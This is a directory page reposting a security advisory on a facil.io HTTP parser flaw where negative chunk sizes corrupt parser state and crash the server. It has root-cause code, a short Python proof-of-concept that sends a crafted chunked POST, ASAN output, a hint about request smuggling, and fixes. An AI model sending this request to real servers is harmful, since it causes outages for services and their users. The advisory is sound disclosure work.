Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash — Security advisory for CVE-2026-66731 with root cause analysis, PoC exploit, and fix suggestions for facil.io HTTP/1.1 chunked encoding parser bug. | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash
Static AnalysisVulnerability AnalysisCode AnalysisWeb Security
GitHubtheopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

Security advisory for CVE-2026-66731 with root cause analysis, PoC exploit, and fix suggestions for facil.io HTTP/1.1 chunked encoding parser bug.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
31 month agoNot yet reviewed
Share

Security Advisory: Negative Chunk-Size Parsing Causes Memory Corruption in facil.io

Assigned CVE ID: CVE-2026-66731

Product: facil.io
Affected versions: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); introduced when the 0.8.x HTTP/1.1 parser was backported in 0.7.5 - not present in 0.6.x or 0.7.0–0.7.3 Component: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Improper Input Validation), CWE-682 (Incorrect Calculation), CWE-125 (Out-of-Bounds Read)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Researcher: Theodosis Paidakis


Summary

The chunked transfer encoding parser accepts a leading minus sign in chunk size values. http1_atol16 returns a negative long long for inputs like -FFFFFF. The parser stores 0 - chunk_len in content_length as a sentinel for "inside a chunk." When is negative, that subtraction produces a large positive value, corrupting the state machine. A subsequent pointer computation then moves the read pointer millions of bytes before the input buffer, into unmapped memory, crashing the process. One unauthenticated POST request is sufficient.

chunk_len

Root cause

Step 1: http1_atol16 accepts a leading minus sign

lib/facil/http/parsers/http1_parser.h, lines 316-346

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
    register unsigned long long i = 0;
    uint8_t inv = 0;
    for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
        inv ^= (*(buf++) == '-');   // line 323: accepts '-', sets inv=1
    /* ... parse hex digits into i ... */
    if (inv)
        i = 0ULL - i;              // line 341: two's-complement negation
    return i;                      // returns negative long long
}

Input -FFFFFF\r\n produces chunk_len = -16777215LL. RFC 7230 section 4.1 specifies chunk sizes as non-negative hexadecimal integers. A leading minus is not valid.

Step 2: State machine corruption

lib/facil/http/parsers/http1_parser.h, lines 681-690

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);  // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len;  // line 688: = 0 - (-16777215) = +16777215

The parser uses negative content_length as a sentinel meaning "currently reading chunk body." With a positive content_length of +16777215, the state machine thinks it is reading a plain (non-chunked) body of 16 MB.

Step 3: Pointer goes backward into unmapped memory

On the next iteration, the parser computes:

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215   <-- 16 MB before the input buffer

The read from that address faults.


Proof of concept

Start the server, then run:

root@kitploit:~
# poc_chunked_negative_size.py
import socket

req = (
    b"POST / HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    b"-FFFFFF\r\n"   # negative hex chunk size
    b"data\r\n"
    b"0\r\n\r\n"
)

s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    print(s.recv(4096))
    print("check server")
except:
    print("check server")

ASAN output (confirmed):

root@kitploit:~
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001   // pointer 16 MB before start

Effect by chunk size sent:

Chunk sizecontent_length after corruptionOutcome
-00Body silently skipped; server survives
-1+1Pointer 1 byte before start
-FFFFFF+16777215Pointer 16 MB before start; crash
-7FFFFFFF+2147483647Pointer 2 GB before start; crash

Note: the -0 case (0 - 0 = 0) hits the "chunked body complete" branch and survives, but the server accepts the request as having an empty body regardless of any data that follows. This may function as a request smuggling primitive in proxy deployments where the front end parses chunked encoding differently.


Impact

A single unauthenticated Transfer-Encoding: chunked request with a negative chunk size crashes the server. Any application accepting HTTP/1.1 is affected; chunked encoding is a core protocol feature and requires no application-level configuration.


Fix

Either approach is sufficient. Prefer Fix 1.

Fix 1: reject the leading minus in http1_atol16

lib/facil/http/parsers/http1_parser.h, line 322

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }

Fix 2: validate chunk_len before use

lib/facil/http/parsers/http1_parser.h, line 681

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1;   // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;

Relationship to prior security fixes

Commit 53caca31 ("Fix atol16 to fix chunked length calculation", Dec 2019) fixed the overflow detection loop condition but kept the sign-handling code. Commit fe847cdf ("fix HTTP/1.1 parser against smuggling attack", May 2020) addressed TE/CL conflicts (both Transfer-Encoding and Content-Length present). Neither covers negative chunk sizes.

Download Tool